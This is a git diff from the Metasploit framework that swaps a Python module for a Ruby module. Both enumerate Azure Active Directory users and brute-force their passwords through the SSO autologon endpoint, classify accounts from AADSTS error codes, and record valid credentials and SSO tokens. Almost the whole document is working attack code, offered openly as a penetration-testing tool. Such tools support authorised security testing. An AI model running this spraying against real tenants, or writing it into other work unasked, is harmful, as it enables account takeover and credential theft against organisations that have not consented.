diff --git a/modules/auxiliary/scanner/http/azure_ad_login.py b/modules/auxiliary/scanner/http/azure_ad_login.py
deleted file mode 100644
index 351f852976..0000000000
--- a/modules/auxiliary/scanner/http/azure_ad_login.py
+++ /dev/null
@@ -1,186 +0,0 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
-# standard modules
-from metasploit import module
-
-# extra modules
-DEPENDENCIES_MISSING = False
-try:
- import datetime
- import itertools
- import os
- import requests
- import uuid
- import xml.etree.ElementTree as ET
- from xml.sax.saxutils import escape
-except ImportError:
- DEPENDENCIES_MISSING = True
-
-
-# Metasploit Metadata
-metadata = {
- 'name': 'Microsoft Azure Active Directory Login Enumeration',
- 'description': '''
- Enumerate valid usernames and passwords against a Microsoft Azure Active Directory
- domain by utilizing a flaw in how SSO authenticates.
- ''',
- 'authors': [
- 'Matthew Dunn'
- ],
- 'date': '2021-10-06',
- 'license': 'MSF_LICENSE',
- 'references': [
- {'type': 'url', 'ref': 'https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/'},
- {'type': 'url', 'ref': 'https://github.com/treebuilder/aad-sso-enum-brute-spray'},
- ],
- 'type': 'single_scanner',
- 'options': {
- 'RHOSTS': {'type': 'string',
- 'description': 'The Azure Autologon endpoint',
- 'required': True, 'default': 'autologon.microsoftazuread-sso.com'},
- 'targeturi': {'type': 'string',
- 'description': 'The base path to the Azure autologon endpoint',
- 'required': True, 'default': '/winauth/trust/2005/usernamemixed'},
- 'rport': {'type': 'port', 'description': 'Port to target',
- 'required': True, 'default': 443},
- 'domain': {'type': 'string', 'description': 'The target Azure AD domain',
- 'required': True, 'default': None},
- 'username': {'type': 'string',
- 'description': 'The username to verify or path to a file of usernames',
- 'required': True, 'default': None},
- 'password': {'type': 'string',
- 'description': 'The password to try or path to a file of passwords',
- 'required': True, 'default': None},
- }
-}
-
-
-def check_login(rhost, rport, domain, targeturi, username, password):
- """Check a single login against the Azure Active Directory Domain"""
-
- request_id = uuid.uuid4()
- url = 'https://autologon.microsoftazuread-sso.com:{}/{}{}?client-request-id={}'.format(rport, domain, targeturi, request_id)
-
- created = str(datetime.datetime.now())
- expires = str(datetime.datetime.now() + datetime.timedelta(minutes=10))
-
- message_id = uuid.uuid4()
- username_token = uuid.uuid4()
-
- body = """
-
-
- http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
- {}
- urn:uuid:{}
-
-
- {}
- {}
-
-
- {}@{}
- {}
-
-
-
-
-
- http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
-
-
- urn:federation:MicrosoftOnline
-
-
- http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey
-
-
-
-"""
- body = body.format(url, message_id, created, expires, username_token,
- escape(username), escape(domain), escape(password))
- session = requests.Session()
- report_data = {'address': 'autologon.microsoftazuread-sso.com', 'domain':domain, 'port': rport,
- 'protocol': 'tcp', 'service_name':'Azure AD'}
- try:
- request = session.post(url, data=body, timeout=30)
- # Parse the XML
- root_xml = ET.fromstring(request.content)
- ns0 = '{http://www.w3.org/2003/05/soap-envelope}'
- ns1 = '{http://schemas.microsoft.com/Passport/SoapServices/SOAPFault}'
- ns2 = '{http://schemas.xmlsoap.org/ws/2005/02/trust}'
- ns3 = '{urn:oasis:names:tc:SAML:1.0:assertion}'
- if b'DesktopSsoToken' in request.content:
- auth_details = root_xml.find('{}Body/{}RequestSecurityTokenResponse/{}RequestedSecurityToken/{}Assertion/DesktopSsoToken'.format(ns0, ns2, ns2, ns3)).text
- else:
- auth_details = root_xml.find('{}Body/{}Fault/{}Detail/{}error/{}internalerror/{}text'.format(ns0,ns0,ns0,ns1,ns1,ns1)).text
-
- # Based on the auth details, we determine whether the username/password pair is valid
- if b'DesktopSsoToken' in request.content: # We get a correct response
- module.log('Login {}\\{}:{} is valid!'.format(domain, username, password), level='good')
- module.log('Desktop SSO Token: {}'.format(auth_details), level='good')
- module.report_correct_password(username, password, **report_data)
- elif auth_details.startswith("AADSTS50126"): # Valid user but incorrect password
- module.log('Password {} is invalid but {}\\{} is valid!'.format(password, domain, username),
- level='good')
- module.report_valid_username(username, **report_data)
- elif auth_details.startswith("AADSTS50056"): # User exists without a password in Azure AD
- module.log('{}\\{} is valid but the user does not have a password in Azure AD!'.format(domain, username),
- level='good')
- module.report_valid_username(username, **report_data)
- elif auth_details.startswith("AADSTS50076"): # User exists, but you need MFA to connect to this resource
- module.log('Login {}\\{}:{} is valid, but you need MFA to connect to this resource'.format(password, domain, username),
- level='good')
- module.report_valid_username(username, **report_data)
- elif auth_details.startswith("AADSTS50014"): # User exists, but the maximum Pass-through Authentication time was exceeded
- module.log('{}\\{} is valid but the maximum pass-through authentication time was exceeded'.format(domain, username),
- level='good')
- module.report_valid_username(username, **report_data)
- elif auth_details.startswith("AADSTS50034"): # User does not exist
- module.log('{}\\{} is not a valid user'.format(domain, username), level='error')
- elif auth_details.startswith("AADSTS50053"): # Account is locked
- module.log('Account is locked, consider taking time before continuuing to scan!',
- level='error')
- return
- else: # Unknown error code
- module.log('Received unknown response with error code: {}'.format(auth_details))
- except requests.exceptions.Timeout:
- module.log('No response received in 30 seconds, continuuing...', level='error')
- except requests.exceptions.RequestException as exc:
- module.log('{}'.format(exc), level='error')
- return
-
-
-def check_logins(rhost, rport, targeturi, domain, usernames, passwords):
- """Check each username and password combination"""
- for (username, password) in list(itertools.product(usernames, passwords)):
- check_login(rhost, rport, targeturi, domain, username.strip(), password.strip())
-
-
-def run(args):
- """Run the module, verifying usernames and passwords"""
- module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
- if DEPENDENCIES_MISSING:
- module.log('Module dependencies are missing, cannot continue', level='error')
- return
-
- # Gather usernames and passwords for enumeration
- if os.path.isfile(args['username']):
- with open(args['username'], 'r') as file_contents:
- usernames = file_contents.readlines()
- else:
- usernames = [args['username']]
- if 'password' in args and os.path.isfile(args['password']):
- with open(args['password'], 'r') as file_contents:
- passwords = file_contents.readlines()
- elif 'password' in args and args['password']:
- passwords = [args['password']]
- else:
- passwords = ['wrong']
- # Check each valid login combination
- check_logins(args['rhost'], args['rport'], args['domain'], args['targeturi'],
- usernames, passwords)
-
-if __name__ == '__main__':
- module.run(metadata, run)
diff --git a/modules/auxiliary/scanner/http/azure_ad_login.rb b/modules/auxiliary/scanner/http/azure_ad_login.rb
new file mode 100644
index 0000000000..42f7244eb2
--- /dev/null
+++ b/modules/auxiliary/scanner/http/azure_ad_login.rb
@@ -0,0 +1,182 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+ include Msf::Auxiliary::Report
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::AuthBrute
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'Microsoft Azure Active Directory Login Enumeration',
+ 'Description' => %q{
+ This module enumerates valid usernames and passwords against a
+ Microsoft Azure Active Directory domain by utilizing a flaw in
+ how SSO authenticates.
+ },
+ 'Author' => [
+ 'Matthew Dunn - k0pak4'
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' => [
+ [ 'URL', 'https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/'],
+ [ 'URL', 'https://github.com/treebuilder/aad-sso-enum-brute-spray'],
+ ],
+ 'DefaultOptions' => {
+ 'RPORT' => 443,
+ 'SSL' => true,
+ 'RHOSTS' => '127.0.0.1' # We don't actually use this, because the azure endpoint is what we want
+ }
+ )
+
+ register_options(
+ [
+ OptString.new('domain', [true, 'The target Azure AD domain', '']),
+ OptString.new('azure_endpoint', [true, 'The Azure Autologon endpoint', 'autologon.microsoftazuread-sso.com']),
+ OptString.new('targeturi', [ true, 'The base path to the Azure autologon endpoint', '/winauth/trust/2005/usernamemixed']),
+ ]
+ )
+
+ deregister_options('PASSWORD_SPRAY', 'VHOST', 'USER_AS_PASS',
+ 'USERPASS_FILE', 'STOP_ON_SUCCESS', 'Proxies',
+ 'DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'BLANK_PASSWORDS')
+ end
+
+ def report_login(azure_endpoint, _domain, username, password)
+ # report information, if needed
+ service_data = {
+ address: azure_endpoint,
+ port: 443,
+ service_name: 'Azure AD',
+ protocol: 'http'
+ }
+ credential_data = {
+ origin_type: :service,
+ module_fullname: fullname,
+ username: username,
+ private_data: password,
+ private_type: :password
+ }.merge(service_data)
+ login_data = {
+ last_attempted_at: DateTime.now,
+ core: create_credential(credential_data),
+ status: Metasploit::Model::Login::Status::SUCCESSFUL
+ }.merge(service_data)
+
+ create_credential_login(login_data)
+ end
+
+ def check_login(azure_endpoint, targeturi, domain, username, password)
+ request_id = SecureRandom.uuid
+ url = "https://autologon.microsoftazuread-sso.com/#{domain}#{targeturi}"
+
+ created = Time.new.inspect
+ expires = (Time.new + 600).inspect
+
+ message_id = SecureRandom.uuid
+ username_token = SecureRandom.uuid
+
+ body = "
+
+
+ http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
+ #{url}
+ urn:uuid:#{message_id}
+
+
+ #{created}
+ #{expires}
+
+
+ #{username}@#{domain}
+ #{password}
+
+
+
+
+
+ http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
+
+
+ urn:federation:MicrosoftOnline
+
+
+ http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey
+
+
+"
+
+ res = send_request_raw({
+ 'uri' => "/#{domain}#{targeturi}",
+ 'method' => 'POST',
+ 'rhost' => azure_endpoint,
+ 'ssl' => true,
+ 'rport' => 443,
+ 'vars_get' => {
+ 'client-request-id' => request_id
+ },
+ 'data' => body
+ })
+
+ # Check the XML response for either the SSO Token or the error code
+ xml = res.get_xml_document
+ xml.remove_namespaces!
+
+ if xml.xpath('//DesktopSsoToken')[0]
+ auth_details = xml.xpath('//DesktopSsoToken')[0].text
+ else
+ auth_details = xml.xpath('//internalerror/text')[0].text
+ end
+
+ if xml.xpath('//DesktopSsoToken')[0]
+ print_good("Login #{domain}\\#{username}:#{password} is valid!")
+ print_good("Desktop SSO Token: #{auth_details}")
+ report_login(azure_endpoint, domain, username, password)
+ elsif auth_details.start_with?('AADSTS50126') # Valid user but incorrect password
+ print_good("Password #{password} is invalid but #{domain}\\#{username} is valid!")
+ report_login(azure_endpoint, domain, username, nil)
+ elsif auth_details.start_with?('AADSTS50056') # User exists without a password in Azure AD
+ print_good("#{domain}\\#{username} is valid but the user does not have a password in Azure AD!")
+ report_login(azure_endpoint, domain, username, nil)
+ elsif auth_details.start_with?('AADSTS50076') # User exists, but you need MFA to connect to this resource
+ print_good("Login #{domain}\\#{username}:#{password} is valid, but you need MFA to connect to this resource")
+ report_login(azure_endpoint, domain, username, password)
+ elsif auth_details.start_with?('AADSTS50014') # User exists, but the maximum Pass-through Authentication time was exceeded
+ print_good("#{domain}\\#{username} is valid but the maximum pass-through authentication time was exceeded")
+ report_login(azure_endpoint, domain, username, nil)
+ elsif auth_details.start_with?('AADSTS50034') # User does not exist
+ print_error("#{domain}\\#{username} is not a valid user")
+ elsif auth_details.start_with?('AADSTS50053') # Account is locked
+ print_error('Account is locked, consider taking time before continuuing to scan!')
+ else # Unknown error code
+ print_error("Received unknown response with error code: #{auth_details}")
+ end
+ end
+
+ def check_logins(azure_endpoint, targeturi, domain, usernames, passwords)
+ for username in usernames do
+ for password in passwords do
+ check_login(azure_endpoint, targeturi, domain, username.strip, password.strip)
+ end
+ end
+ end
+
+ def run_host(_ip)
+ # Check whether the username is a file or string, stick either in an array
+ if datastore.include? 'USER_FILE'
+ usernames = File.readlines(datastore['USER_FILE'])
+ else
+ usernames = [datastore['USERNAME']]
+ end
+ if datastore.include? 'PASS_FILE'
+ passwords = File.readlines(datastore['PASS_FILE'])
+ else
+ passwords = [datastore['PASSWORD']]
+ end
+
+ check_logins(datastore['azure_endpoint'], datastore['targeturi'], datastore['domain'], usernames, passwords)
+ end
+end